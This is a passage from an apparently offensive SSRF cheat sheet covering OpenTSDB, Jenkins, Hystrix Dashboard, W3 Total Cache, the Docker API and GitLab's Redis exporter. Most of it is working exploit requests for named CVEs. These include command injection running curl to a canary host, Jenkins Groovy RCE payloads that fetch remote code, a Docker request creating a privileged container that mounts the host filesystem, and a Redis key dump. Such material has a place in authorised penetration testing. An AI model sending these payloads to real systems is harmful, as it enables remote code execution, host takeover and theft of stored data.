/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Copied!

OpenTSDB

Commonly bound port: 4242
SSRF Canary: curl via RCE
1
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
Copied!

Jenkins

Commonly bound ports: 80,443 (SSL),8080,8888
Great writeup here.
SSRF Canary: CVE-2018-1000600
1
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
Copied!
RCE
Follow the instructions here to achieve RCE via GET: Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
1
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/[email protected](disableChecksums=true)%[email protected](name='orange.tw', root='http://SSRF_CANARY/')%[email protected](group='tw.orange', module='poc', version='1')%0aimport Orange;
Copied!
RCE via Groovy
1
cmd = 'curl burp_collab'
2
pay = 'public class x {public x(){"%s".execute()}}' % cmd
3
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
Copied!

Hystrix Dashboard

Commonly bound ports: 80,443 (SSL),8080
Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.
SSRF Canary: CVE-2020-5412
1
/proxy.stream?origin=http://SSRF_CANARY/
Copied!

W3 Total Cache

Commonly bound ports: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
This needs to be a PUT request:
1
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
2
Host:
3
Accept: */*
4
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
5
Content-Length: 124
6
Content-Type: application/x-www-form-urlencoded
7
Connection: close
8
9
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
Copied!
SSRF Canary
The advisory for this vulnerability was released here: W3 Total Cache SSRF vulnerability
This PHP code will generate a payload for your SSRF Canary host (replace url with your canary host):
1
<?php
2
3
$url='http://www.google.com';
4
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
5
$file=chop($file,'=');
6
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
7
echo($req);
8
9
?>
Copied!

Docker

Commonly bound ports: 2375, 2376 (SSL)
If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker’s API:
1
/containers/json
2
/secrets
3
/services
Copied!
RCE via running an arbitrary docker image
1
POST /containers/create?name=test HTTP/1.1
2
Host: website.com
3
Content-Type: application/json
4
...
5
6
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Copied!
Replace alpine with an arbitrary image you would like the docker container to run.

Gitlab Prometheus Redis Exporter

Commonly bound ports: 9121
This vulnerability affects Gitlab instances before version 13.1.1. According to the Gitlab documentation Prometheus and its exporters are on by default, starting with GitLab 9.0.
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
1
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
Copied!
Possible via Gopher

Redis

Commonly bound port: 6379
Recommended reading: